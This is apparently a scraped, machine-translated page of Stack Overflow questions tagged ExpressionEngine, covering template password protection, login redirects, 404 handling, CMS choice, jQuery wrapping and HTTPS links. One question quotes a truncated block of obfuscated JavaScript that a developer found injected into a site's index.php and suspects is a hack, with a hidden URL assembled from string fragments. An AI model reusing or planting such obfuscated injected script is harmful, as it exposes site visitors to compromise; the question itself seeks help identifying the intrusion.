标签: expressionengine

密码保护ExpressionEngine模板组

我正在建立一个网站,工作人员将拥有自己的网站部分:example.com/jones,example.com/smith等.jones和smith是内部具有相同模板的模板组(使用Stash和Low Variables保持这一切都干了).一些用户对隐私有不同的需求.一方面,他们的部分将是公开的.另一方面,一些用户需要管理谁可以访问他们的内容(使用Solspace朋友).

然而,在这个范围的中间是一些人只想防止任何随机的人看到他们的内容.我不想使用成员/成员组来管理它.我不希望访问者需要注册才能看到内容.共享会员帐户是一个选项,但我们由于其他问题而排除了这一点(如果重置密码,评论留在同一帐户下,等等.

我们想要的是密码保护模板组.工作人员可以让人们知道在哪里看到他们的页面,让用户知道密码是什么.这在服务器级别都是可能的,但是可以允许用户直接管理密码吗?我们可以做的任何事情,以尽量减少我们需要多少管理这个更好.自定义字段和添加项允许这种安全性?我没有在Devot-ee上看到任何内容,论坛上的方法也没有这样做.有点过分,但我想问.

expressionengine

10
推荐指数
2
解决办法
1057
查看次数

ExpressionEngine textarea增加限制

场景:

  • 客户将新闻简报添加到他的网站
  • textarea 字段切断特定字符数的粘贴源代码.
  • 考虑增加字符数限制,textarea以便可以粘贴整个新闻通讯源代码.
  • 使用ExpressionEngine 2.5.2

有关如何增加MySQL字符限制的任何想法?我仔细查看channel_fields并尝试将行数从172增加到9999和field_settings rowto longtext,但这没有效果.

mysql expressionengine

9
推荐指数
1
解决办法
698
查看次数

login_form中的返回值不起作用

我在以下页面有一个登录表单:

site.com/en/downloads

"en"是user_language(并且存储在全局var中)

当我登录时,表单将我重定向到:

site.com/downloads

虽然它应该使用我的user_language将我重定向到URL

我尝试了很多东西,但返回值的值总是被忽略.

  • return ="{site_url}/{user_language}/downloads"
  • return ="{site_url}"
  • return ="http://site.com"
  • return ="http://google.com"
  • return ="about/index"

他们都重定向到site.com/downloads.

正在输出的代码(对于最后一个示例)如下所示:

<form method="post" action="http://site.com/"  >
<div class='hiddenFields'>
<input type="hidden" name="XID" value="9fae3b1b5fcf882776da6638706595af73a7b15d" />
<input type="hidden" name="ACT" value="7" />
<input type="hidden" name="RET" value="about/index" />
<input type="hidden" name="site_id" value="1" />
</div> 
Run Code Online (Sandbox Code Playgroud)

我有一个.htaccess,看起来像这样:

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php?/$1 [L] 
Run Code Online (Sandbox Code Playgroud)

更新:

我按照建议尝试使用freemember,但问题仍然存在:

我已将返回值设置为"about/index",但我仍然被重定向到site.com/downloads.

freemember生成的代码看起来很稳固,因此必须覆盖返回值.

<form method="post" action="http://site.com/downloads"  >
<div class='hiddenFields'>
<input type="hidden" name="XID" value="d9483688fbf63d9ea47e89a66e074b99f5b8465c" />
<input type="hidden" name="ACT" value="18" /> …
Run Code Online (Sandbox Code Playgroud)

expressionengine

9
推荐指数
1
解决办法
619
查看次数

MSM 5站点设置与常见的404页面重定向

所以我正在一个主要有4个子域的网站上工作.他们已经拥有MSM许可证,所以我用它来打破潜艇.

我的问题是:

处理所有网站的404重定向的最佳方法是什么?我想为主站点和所有子域使用通用的404页面.

在主站点上,这很容易.

{if no_results OR segment_3!=""}
    {redirect="404"}
{/if}
Run Code Online (Sandbox Code Playgroud)

但是,如果我只是添加以下内容,其他网站是否只会为分析注册页面视图:

{if no_results OR segment_3!=""}
    {embed="default_site:_includes/404"}
{/if}
Run Code Online (Sandbox Code Playgroud)

我希望能够在网站上获得相同的结果并捕获所有404个统计数据.

谢谢,Brian

expressionengine http-status-code-404

9
推荐指数
1
解决办法
110
查看次数

模板中奇怪的Javascript.这是一次黑客攻击吗?

我上周验证了我的客户网站xHTML Strict 1.0/CSS 2.1标准.今天当我重新检查时,我有一个由奇怪的和以前的未知脚本引起的验证错误.我在ExpressionEngine CMS的index.php文件中找到了这个.这是我怀疑的黑客攻击吗?我忍不住注意到脚本中编码的俄罗斯域名......

这个javascript在做什么?我需要向客户解释具体的危险.




    this.v=27047;
    this.v+=187;
    ug=["n"];
    OV=29534;
    OV--;
    var y;
    var C="C";
    var T={};

    r=function(){
        b=36068;
        b-=144;
        M=[];

        function f(V,w,U){
            return V.substr(w,U);
            var wH=39640;
        }

        var L=["o"];
        var cj={};
        var qK={N:false};
        var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2);
        var BT="BT";
        var fV=RegExp;
        var CE={bf:false};
        var UW='';
        this.Ky=11592;
        this.Ky-=237;
        var VU=document;
        var _n=[];

        try {} catch(wP){};

        this.JY=29554;
        this.JY-=245;

        function s(V,w){
            l=13628;
            l--;
            var U="["+w+String("]");
            var rk=new fV(U, f("giId",0,1));
            this.NS=18321;this.NS+=195;return V.replace(rk, UW);

            try {} catch(k){};
        };

        this.jM="";
        var CT={};
        var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z');

        try {var …
Run Code Online (Sandbox Code Playgroud)

javascript security expressionengine

8
推荐指数
2
解决办法
513
查看次数

WordPress与ExpressionEngine:EE是否物有所值?

我对编码非常陌生(仅使用大学的Web开发101,又名'OMG CSS u guise'),我才开始意识到仅仅知道HTML/CSS并不够好.我已经决定最好让我从一个CMS中学到地狱,因为我并不热衷于学习一门完整的编程语言.主要是我只是希望能够创建即时加载的网站(想想Sproutcore主页)恰好使用某种模板系统,以便随着时间的推移更容易管理.

我已经研究过WordPress了,我知道它是一个超级流行的平台,但是似乎大多数运行WordPress的网站加载速度都不快.我已经阅读了一下,看起来很多编码员认为WP是一个"沉重"的平台.此外,我刚刚在wordpress.org上查看了源代码,发现他们甚至没有在那里运行WordPress!我的意思是来吧!

我也研究过ExpressionEngine,我对事情的处理方式印象深刻.似乎在学习曲线之后它应该易于使用且具有高度可扩展性,但每个商业站点许可证价格为300美元+附加组件的成本,我想更加确信它的价值.我知道AListApart,JasonSantaMaria.com,change.gov,iLounge以及更多高质量,高流量的网站都运行在ExpressionEngine上,但我并不完全相信它的价格是值得的,因为WP可以肯定地完成这项工作. 90%的病例.

我真的很感激你的意见.

也许我应该说F这一切,并用直接的HTML/CSS创建我的静态页面,然后根据Sproutcore使用像Tumblr或WordPress这样的博客平台严格用于博客帖子?

很想听听你的意见.

wordpress expressionengine content-management-system

8
推荐指数
1
解决办法
2843
查看次数

使用Javascript为每5个元素插入<div>

我有一个简单的图像列表,通过CMS(ExpressionEngine)控制.像这样:

<div class="wrapper">
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
    <a href="#"><img src="#" /></a>
</div>
Run Code Online (Sandbox Code Playgroud)

我想要做的就是每5个图像,用一类"幻灯片"将它们包装在一个div中.看起来像这样:

<div class="wrapper">
    <div class="slide">
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
    </div>
    <div class="slide">
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
      <a href="#"><img src="#" /></a>
    </div>
</div>
Run Code Online (Sandbox Code Playgroud)

我不是手动编码""的原因是因为我使用的jQuery内容滑块需要将每5个图像包装在幻灯片div中.

我不确定ExpressionEngine中的代码是如何做到这一点的,但我认为使用Javascript用div包装每5个图像可能更容易.只需让ExpressionEngine一次输出不同的图像. …

javascript jquery expressionengine

8
推荐指数
1
解决办法
1万
查看次数

在另一个通道条目标记对中嵌套ExpressionEngine通道条目标记对?

我做了一些搜索,但我似乎无法找到有关在另一个中嵌入频道条目标签对的任何信息.

当我在模板中尝试以下代码时,它会破坏页面,我看到开头{reverse_related_entries sort="desc"}显示为纯文本:

{exp:channel:entries channel="pages"}
    {reverse_related_entries sort="desc"}
        {if show_testimonial}
            {exp:channel:entries channel="testimonials" orderby="random" limit="1"}
                <blockquote>
                    {testimony}
                    <cite>
                        <span class="cite_name">{cite_name}</span><br />
                        <span class="cite_org">{cite_org}</span><br />
                        <span class="cite_title">{cite_title}</span>
                    </cite>
                </blockquote>
            {/exp:channel:entries}
        {/if}
    {/reverse_related_entries}
{/exp:channel:entries}
Run Code Online (Sandbox Code Playgroud)

ExpressionEngine中有一种方法可以在其自身内嵌一个通道条目标记对吗?

expressionengine

8
推荐指数
1
解决办法
7161
查看次数

HTTPS和HTTP ExpressionEngine站点URL标记

我今天发现,如果您访问的EE站点在文档头中的css链接路径中使用{site_url}标记,则如果您键入https而不是http,则该站点无法加载CSS文件.

我已经通过使用htaccess文件来强制转到http,但我只是想知道EE中是否有一个设置可以更改以使两者都工作?

这只发生在Chrome和IE上,我猜你的浏览器设置取决于安全性.

expressionengine

8
推荐指数
3
解决办法
2849
查看次数

基于时间的条件

是否可以通过服务器时间在EE中触发条件?

{if servertime == 'midnight to 13:00'}
      do this
{if:else}
      do something else
{/if}
Run Code Online (Sandbox Code Playgroud)

谢谢

expressionengine

8
推荐指数
1
解决办法
779
查看次数